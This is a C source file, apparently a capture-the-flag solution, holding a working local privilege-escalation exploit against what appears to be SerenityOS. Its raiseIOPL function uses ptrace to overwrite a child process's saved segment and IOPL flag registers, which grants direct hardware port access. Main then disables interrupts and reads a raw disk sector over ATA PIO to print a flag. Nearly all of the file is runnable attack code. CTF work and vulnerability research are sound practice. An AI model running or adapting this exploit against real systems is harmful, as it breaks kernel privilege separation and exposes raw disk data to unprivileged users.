#include <sys/cdefs.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ptrace.h>
#include <assert.h>
#include <LibC/sys/arch/i386/regs.h>
#include <sys/wait.h>
#include <stdlib.h>

// IDE Reading Code taken from https://github.com/dhavalhirdhav/LearnOS/blob/fe764387c9f01bf67937adac13daace909e4093e/drivers/ata/ata.c

#define STATUS_BSY 0x80
#define STATUS_RDY 0x40
#define STATUS_DRQ 0x08
#define STATUS_DF 0x20
#define STATUS_ERR 0x01

// -Wall, -Werror :(
void raiseIOPL(void);
unsigned char port_byte_in(unsigned short port);
uint16_t port_word_in (uint16_t port);
void port_byte_out(unsigned short port, unsigned char data);
static void ATA_wait_BSY();
static void ATA_wait_DRQ();
void read_sectors_ATA_PIO(uint32_t target_address, uint32_t LBA, uint8_t sector_count);

unsigned char port_byte_in (unsigned short port) {
    unsigned char result;
    __asm__("in %%dx, %%al" : "=a" (result) : "d" (port));
    return result;
}

void port_byte_out (unsigned short port, unsigned char data) {
    __asm__("out %%al, %%dx" : : "a" (data), "d" (port));
}

uint16_t port_word_in (uint16_t port) {
    uint16_t result;
    __asm__("in %%dx, %%ax" : "=a" (result) : "d" (port));
    return result;
}

#define BASE 0x1F0

void read_sectors_ATA_PIO(uint32_t target_address, uint32_t LBA, uint8_t sector_count)
{
    ATA_wait_BSY();
    port_byte_out(BASE + 6,0xE0 | ((LBA >>24) & 0xF) | 0x10 /* drive 2 */);
    port_byte_out(BASE + 2,sector_count);
    port_byte_out(BASE + 3, (uint8_t) LBA);
    port_byte_out(BASE + 4, (uint8_t)(LBA >> 8));
    port_byte_out(BASE + 5, (uint8_t)(LBA >> 16));
    port_byte_out(BASE + 7,0x20); //Send the read command

    uint16_t *target = (uint16_t*) target_address;

    for (int j =0;j<sector_count;j++)
    {
        ATA_wait_BSY();
        ATA_wait_DRQ();
        for(int i=0;i<256;i++)
            target[i] = port_word_in(BASE);
        target+=256;
    }
}

static void ATA_wait_BSY()   //Wait for bsy to be 0
{
    while(port_byte_in(BASE + 7)&STATUS_BSY);
}
static void ATA_wait_DRQ()  //Wait fot drq to be 1
{
    while(!(port_byte_in(BASE + 7)&STATUS_RDY));
}

// Actual exploit here
void raiseIOPL() {
    int pid = fork();
    if (pid != 0) {
        int status;
        pid_t g_pid = pid;
        if (ptrace(PT_ATTACH, g_pid, 0, 0) == -1) {
            perror("attach");
            exit(-1);
        }

        if (waitpid(g_pid, &status, WSTOPPED | WEXITED) != g_pid || !WIFSTOPPED(status)) {
            perror("waitpid");
            exit(-1);
        }

        if (ptrace(PT_SYSCALL, g_pid, 0, 0) == -1) {
            perror("syscall");
            exit(-1);
        }

        if (waitpid(g_pid, &status, WSTOPPED | WEXITED) != g_pid || !WIFSTOPPED(status)) {
            perror("waitpid");
            exit(-1);
        }

        PtraceRegisters regs = {};
        if (ptrace(PT_GETREGS, g_pid, &regs, 0) == -1) {
            perror("getregs");
            exit(-1);
        }

        regs.cs = 3;
        regs.eflags |= 0x3000;

        if (ptrace(PT_SETREGS, g_pid, &regs, 0) == -1) {
            perror("setregs");
            exit(-1);
        }

        if (ptrace(PT_DETACH, g_pid, 0, 0) == -1) {
            perror("detach");
            exit(-1);
        }

        exit(0);
    }

    sleep(2);
    puts("Testing if IOPL has been raised...");

    int flags = 0;
    asm volatile("pushf\npop %0\n" : "=r" (flags));
    if ((flags & 0x3000) == 0x3000) {
        puts("Successfully raised IOPL!");
    } else {
        puts("Failed to raise IOPL!");
        exit(-1);
    }
}

int main(int, char**) {
    raiseIOPL();
    char data[512];
    memset(data, 0, 512);
    asm volatile("cli");
    read_sectors_ATA_PIO((uint32_t) data, 0, 1);
    asm volatile("sti");
    printf("Flag: %s\n", (char*) data);
    puts("Done");
    return 0;
}